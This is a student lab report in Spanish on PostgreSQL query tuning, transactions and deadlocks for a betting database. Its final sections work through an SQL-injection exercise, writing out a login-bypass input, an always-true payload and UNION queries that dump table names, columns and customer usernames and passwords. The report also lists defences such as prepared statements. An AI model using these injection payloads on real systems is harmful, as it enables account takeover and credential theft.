Práctica 4

Sistemas Informáticos

Patricia Anza Mateos

Óscar García de Lara Parreño

Grupo 1312

Apartado A

a) En este apartado hemos creado la siguiente consulta en la que mostramos todos los clientes que tienen apuesta en un mes dado con un umbral mayor, en nuestro caso, que cien.
Hemos añadido la consulta a clientesDistintos.sql

```
SELECT DISTINCT

  COUNT(customerid)

FROM customers

WHERE customerid IN(SELECT

                    customerid

                FROM clientorders

                WHERE DATE_PART('month', date)='3' AND
DATE_PART('year',date)='2013' AND totalamount>100);
```

Esta consulta tarda en ejecutarse 87mS.

b) Tras ejecutar la sentencia con EXPLAIN obtenemos el siguiente resultado:

```
"HashAggregate  (cost=4601.13..4601.14 rows=1 width=4)"
"  ->  Aggregate  (cost=4601.12..4601.13 rows=1 width=4)"
"        ->  Nested Loop  (cost=4575.46..4583.50 rows=7046 width=4)"
"              ->  HashAggregate  (cost=4575.18..4575.19 rows=1 width=4)"
"                    ->  Seq Scan on clientorders  (cost=0.00..4575.17 rows=1
width=4)"
"                          Filter: ((totalamount > 100::numeric) AND
(date_part('month'::text, date) = 3::double precision) AND
(date_part('year'::text, date) = 2013::double precision))"
"              ->  Index Only Scan using customers_pkey on customers
(cost=0.29..8.30 rows=1 width=4)"
"                    Index Cond: (customerid = clientorders.customerid)"
```

Observando la salida obtenida, se puede concluir que el tiempo estimado de coste es de 4601.13..4601.14, va a afectar a una sola fila, por ser un COUNT, y el tamaño será de cuatro, al ser el customerid de tipo serial.

La estimación de mayor coste es para el bucle, WHERE customerid IN(SELECT customerid FROM clientorders WHERE DATE_PART('month', date)='3' AND DATE_PART('year',date)='2013' AND totalamount>100), en el que se verán afectadas 7046 filas y tendrá un coste total de 4575.46..4583.50.

Al ser custimerid una primary key ya tiene un índice generado.

c) Para mejorar el rendimiento de la consulta hemos creado un índice sobre la columna de totalamount de la tabla clientorders para que el en bucle de la consulta resulte más sencillo buscar los clientes cuya totalamount sea mayor a una determinada cantidad.
Hemos añadido las siguientes líneas a clientesDistintos.sql:

```
DROP INDEX IF EXISTS idx_totalamount_clientorders;

CREATE INDEX idx_totalamount_clientorders ON clientorders(totalamount);
```

d) Tras ejecutar la sentencia con EXPLAIN obtenemos el siguiente plan de ejecución:

```
"HashAggregate  (cost=3290.69..3290.70 rows=1 width=4)"
"  ->  Aggregate  (cost=3290.67..3290.68 rows=1 width=4)"
"        ->  Nested Loop  (cost=3265.02..3273.06 rows=7046 width=4)"
"              ->  HashAggregate  (cost=3264.73..3264.74 rows=1 width=4)"
"                    ->  Bitmap Heap Scan on clientorders  (cost=925.00..3264.73 rows=1
width=4)"
"                          Recheck Cond: (totalamount > 100::numeric)"
"                          Filter: ((date_part('month'::text, date) = 3::double precision) AND
(date_part('year'::text, date) = 2013::double precision))"
"                          ->  Bitmap Index Scan on idx_totalamount_clientorders
(cost=0.00..925.00 rows=49677 width=0)"
"                                Index Cond: (totalamount > 100::numeric)"
```

Como se puede observar la predicción de coste mejora notablemente, especialmente en el bucle.

e) También decidimos crear un índice sobre la fecha, pero nos dimos cuenta de que esto no ayuda a mejorar la búsqueda ya que debemos separar la fecha en cadenas para poder comparar los meses y los años.
Tarda 95 Ms.
Al ejecutarlo con explain obtenemos lo siguiente:

```
"HashAggregate  (cost=4601.13..4601.14 rows=1 width=4)"
"  ->  Aggregate  (cost=4601.12..4601.13 rows=1 width=4)"
"        ->  Nested Loop  (cost=4575.46..4583.50 rows=7046 width=4)"
"              ->  HashAggregate  (cost=4575.18..4575.19 rows=1 width=4)"
"                    ->  Seq Scan on clientorders  (cost=0.00..4575.17 rows=1
width=4)"
"                          Filter: ((totalamount > 100::numeric) AND
(date_part('month'::text, date) = 3::double precision) AND (date_part('year'::text,
date) = 2013::double precision))"
"              ->  Index Only Scan using customers_pkey on customers
(cost=0.29..8.30 rows=1 width=4)"
"                    Index Cond: (customerid = clientorders.customerid)"
```

Apartado B

c) Usando el prepare, obtenemos los siguientes resultados de rendimiento:

Dinero inicial=100, fecha03/2013
Tiempo: 3764.81 ms

Sin usar prepare obtenemos lo siguiente:

Dinero inicial=100, fecha03/2013
Tiempo: 6662.81 ms

d) Sin usar el índice el tiempo es de 3386ms y usando el índice el tiempo decrece a 1218 ms y después de generar las estadísticas el tiempo es de 1226.8 ms crece pero es muy poco por lo que despreciamos y lo consideramos igual.

Apartado C

a)

Para la consulta uno obtenemos lo siguiente:

```
"Seq Scan on customers  (cost=0.00..25737540.70 rows=7046 width=4)"
"  Filter: (NOT (SubPlan 1))"
"  SubPlan 1"
"    ->  Materialize  (cost=0.00..3528.26 rows=49677 width=4)"
"          ->  Seq Scan on clientorders  (cost=0.00..3084.88 rows=49677
width=4)"
```

Para la segunda consulta obtenemos lo siguiente:

```
"HashAggregate  (cost=4399.43..4401.93 rows=200 width=4)"
"  Filter: (count(*) = 1)"
"  ->  Append  (cost=0.00..4080.57 rows=63770 width=4)"
"        ->  Seq Scan on customers  (cost=0.00..498.93 rows=14093 width=4)"
"        ->  Seq Scan on clientorders  (cost=0.00..3084.88 rows=49677 width=4)"
"              Filter: (totaloutcome > 0::numeric)"
```

Para la última consulta obtenemos lo siguiente:

```
"HashSetOp Except  (cost=0.00..4380.93 rows=14093 width=4)"
"  ->  Append  (cost=0.00..4221.51 rows=63770 width=4)"
"        ->  Subquery Scan on "*SELECT* 1"  (cost=0.00..639.86 rows=14093
width=4)"
"              ->  Seq Scan on customers  (cost=0.00..498.93 rows=14093 width=4)"
"        ->  Subquery Scan on "*SELECT* 2"  (cost=0.00..3581.64 rows=49677
width=4)"
"              ->  Seq Scan on clientorders  (cost=0.00..3084.88 rows=49677 width=4)"
"                    Filter: (totaloutcome > 0::numeric)"
```

Como se puede observar la que más predicción de coste es la segunda consulta debido a que al filtro que pone al final, HAVING COUNT(*)=1, que retrasa……..

La primera y la tercera consulta tardan lo mismo con la excepción de que la primera afecta a la mitad de filas que la tercera. Esto se debe a que la tercera columna debe de recorrer todas las filas de la tabla clientorders para comprobar que el totaloutcome es mayor que cero, cosa que no ocurre en la primera consulta, que primero se crea una tabla con los customerid en la que el totaloutcome sea mayor que cero y después hace ya la comprobación.

Apartado D

b) Tras ejecutar el EXPLAIN de la primera consulta:

```
->"Aggregate  (cost=11787.79..11787.80 rows=1 width=0)"
"  ->  Seq Scan on clientbets  (cost=0.00..11779.52 rows=3308
width=0)"
"        Filter: (outcome IS NULL)"
```

Tras ejecutar el EXPLAIN en la segunda consulta:

```
->"Aggregate  (cost=13441.92..13441.93 rows=1 width=0)"
"  ->  Seq Scan on clientbets  (cost=0.00..13433.65 rows=3308 width=0)"
"       Filter: (outcome = 0::numeric)"
```

La consulta dos tiene una predicción de coste mayor que la primera, debido a que la segunda sólo compara aquellas columnas en las que el outcome es null, mientras que la segunda debe comparar primero que es numeric y segundo comparar que es igual que cero.

c) Creamos un índice de outcome sobre la tabla de clientbets:

```
DROP INDEX IF EXISTS idx_outcome_clientbets ;

CREATE INDEX idx_outcome_clientbets ON clientbets(outcome);
```

d) Tras ejecutar el EXPLAIN para la primera consulta:

Tras ejecutar la sentencia EXPLAIN sobre la segunda:

Al crear el índice se observa una clara mejora de predicción de costes en ambas consultas, ya que la búsqueda por outcome será más fácil y por tanto más rápida.

e) Tras realizar el ANALIZE obtenemos lo siguiente:

```
INFO:  vacuuming "public.clientbets"
INFO:  index "clientbets_pkey" now contains 661652 row versions in 2551 pages
DETAIL:  0 index row versions were removed.
0 index pages have been deleted, 0 are currently reusable.
CPU 0.00s/0.00u sec elapsed 0.00 sec.
INFO:  index "idx_outcome_clientbets" now contains 661652 row versions in 1817 pages
DETAIL:  0 index row versions were removed.
0 index pages have been deleted, 0 are currently reusable.
CPU 0.00s/0.00u sec elapsed 0.00 sec.
INFO:  "clientbets": found 0 removable, 661652 nonremovable row versions in 5163 out of 5163 pages
DETAIL:  0 dead row versions cannot be removed yet.
There were 0 unused item pointers.
0 pages are entirely empty.
CPU 0.02s/0.04u sec elapsed 0.07 sec.
INFO:  vacuuming "pg_toast.pg_toast_17276"
INFO:  index "pg_toast_17276_index" now contains 0 row versions in 1 pages
DETAIL:  0 index row versions were removed.
0 index pages have been deleted, 0 are currently reusable.
CPU 0.00s/0.00u sec elapsed 0.00 sec.
INFO:  "pg_toast_17276": found 0 removable, 0 nonremovable row versions in 0 out of 0 pages
DETAIL:  0 dead row versions cannot be removed yet.
There were 0 unused item pointers.
0 pages are entirely empty.
CPU 0.00s/0.00u sec elapsed 0.00 sec.
INFO:  analyzing "public.clientbets"
INFO:  "clientbets": scanned 5163 of 5163 pages, containing 661652 live rows and 0 dead rows; 30000 rows in sample, 661652 estimated total rows
Query returned successfully with no result in 251 ms
```

f)

Para la primera query obtenemos:

```
"Aggregate  (cost=4.45..4.46 rows=1 width=0)"
"  ->  Index Only Scan using idx_outcome_clientbets on clientbets (cost=0.42..4.44 rows=1 width=0)"
"        Index Cond: (outcome IS NULL)"
```

Para la segunda query obtenemos:

```
"Aggregate  (cost=11133.96..11133.97 rows=1 width=0)"
"  ->  Index Only Scan using idx_outcome_clientbets on clientbets
(cost=0.42..10235.77 rows=359277 width=0)"
"        Index Cond: (outcome = 0::numeric)"
```

Cuando hacemos el analize genera unas estadísticas internas por lo cual puede predecir con mayor exactitud por eso uno decrece mucho y el otro crece mucho.

g)

Para la primera query obtenemos:

```
"Aggregate  (cost=9371.92..9371.93 rows=1 width=0)"
"  ->  Index Only Scan using idx_outcome_clientbets on clientbets
(cost=0.42..8615.99 rows=302375 width=0)"
"        Index Cond: (outcome > 0::numeric)"
```

Para la segunda query obtenemos:

```
"Aggregate  (cost=6113.48..6113.49 rows=1 width=0)"
"  ->  Index Only Scan using idx_outcome_clientbets on clientbets
(cost=0.42..5620.35 rows=197253 width=0)"
"        Index Cond: (outcome > 200::numeric)"
```

Al tener el índice y las estadísticas puede saber mejor el coste cuando los números son mayores.

Apartado E

Para el borraCliente.php, hemos hecho tres queries diferentes en las que:

En primer lugar borrábamos la información de clientbets de los carritos del cliente seleccionado.

En segundo lugar borramos la información de clientorders del cliente dado.

Por último eliminamos el cliente.

En borraClienteMal.php, hacemos las mismas queries pero en orden inverso. De esta manera, al eliminar lo primero de todo el cliente, tendremos problemas al

eliminar la información de clientbets y de clientorders ya que ese cliente ya no existe en la base de datos. Por tanto, llegados a este punto, si borramos el cliente creará inconsistencia en otras tablas. Ya que una transición debe estar siempre en estado consistente, dará un error y haremos un rollback para quedarse como al principio en vez de hacer un commit.

j) Hay que poner otra vez begin porque al poner un commit terminas la transacción por tanto para que el otro commit final no falle tiene que estar en una transacción, todo cambio en la primera transacción persiste cuando se realiza el commit intermedio aunque se realice un rollback en la segunda.

Apartado F

El deadlock se produce porque en borraclientes2.php intenta borrar el cliente pero la tabla está bloqueada por el trigger de updatePromo ya que está realizando una actualización.

> Error!: SQLSTATE[40P01]: Deadlock detected: 7 ERROR: deadlock detected DETAIL: Process 3372 waits for ShareLock on transaction 1525; blocked by process 3211. Process 3211 waits for ShareLock on transaction 1524; blocked by process 3372. HINT: See server log for query details.

Para evitar los deadlock se puede reducir el tiempo de ejecución de las transacciones optimizándolas con índices o reescribiéndolas de otra manera más eficiente, también reducir el grado de bloque por ejemplo a grado 1.

Apartado G

La vulnerabilidad está en la query ya que inserta directamente el texto que ingresa los usuarios.

a) Para poder conseguir acceso a la cuenta del usuario “gatsby” debemos poner en la caja en la que se nos pide el usuario lo siguiente: gatsby’;--

   De esta manera estamos comentando la parte de la consulta en la que se comprueba la contraseña, por lo que tendremos acceso a esa cuenta.

b) Debemos poner en ambas cajas de texto lo siguiente: ‘ or 0=0.

   De esta manera estaremos cerrando la consulta en la que se nos pide el nombre y la contraseña, y como cero es igual a cero siempre se cumple, nos devolverá todos los usuarios con las contraseñas.

c)

- Escapando ciertos símbolos como las comillas
- Poniendo restricciones sobre cuántos caracteres se pueden meter en los campos de texto.
- Usando prepare en vez de queries estáticas.

Apartado H

a) Solo nos importa cuantos campos devuelve y su tipo, y si es string la comparación en el where ya que necesitas cerrar las comillas.

b) Para sacar el nombre de todas las tablas usamos la tabla pg_class

```
' UNION select relname FROM pg_class;--
```

c) Para sacar solo las nuestras usamos una subconsulta que nos devuelve el oid de las tablas public y usamos la consulta anterior

```
' UNION SELECT relname FROM pg_class  WHERE relnamespace IN
(SELECT oid FROM pg_namespace WHERE nspname='public');--
```

d) y e) Hemos decidido que la tabla customers es la que contiene la información de los clientes y con la siguiente consulta obtenemos su oid que es 17923, el cast sirve para convertir el oid en texto y asi poder sacarlo por lo que devuelve la búsqueda de la página web ya que solo devuelve texto

```
' UNION SELECT CAST(oid as varchar) FROM pg_class c WHERE
relname='customers';--
```

f) Y usando el oid de la tabla podemos ver todas las columnas e identificamos username y password como las más importantes para loggearse.

```
' union SELECT attname FROM pg_attribute WHERE attrelid=17923;--
```

g) y h) Y con esta última conseguimos los usuarios y si cambiamos username por password sacamos sus contraseñas y como los devuelve ordenados por su id, se sabe que el primero de cada consulta están relacionados.

```
' union select username FROM customers;--
```

i) Se produciría una mejora, pero el sistema seguiría siendo vulnerable a ataques ya que se podría cambiar el valor del combobox.

Si utilizásemos el método post en lugar del get, sería más seguro ya que no se proporciona tanta información de la posible consulta, pero la consulta sigue siendo igual de vulnerable ya que esta no cambia.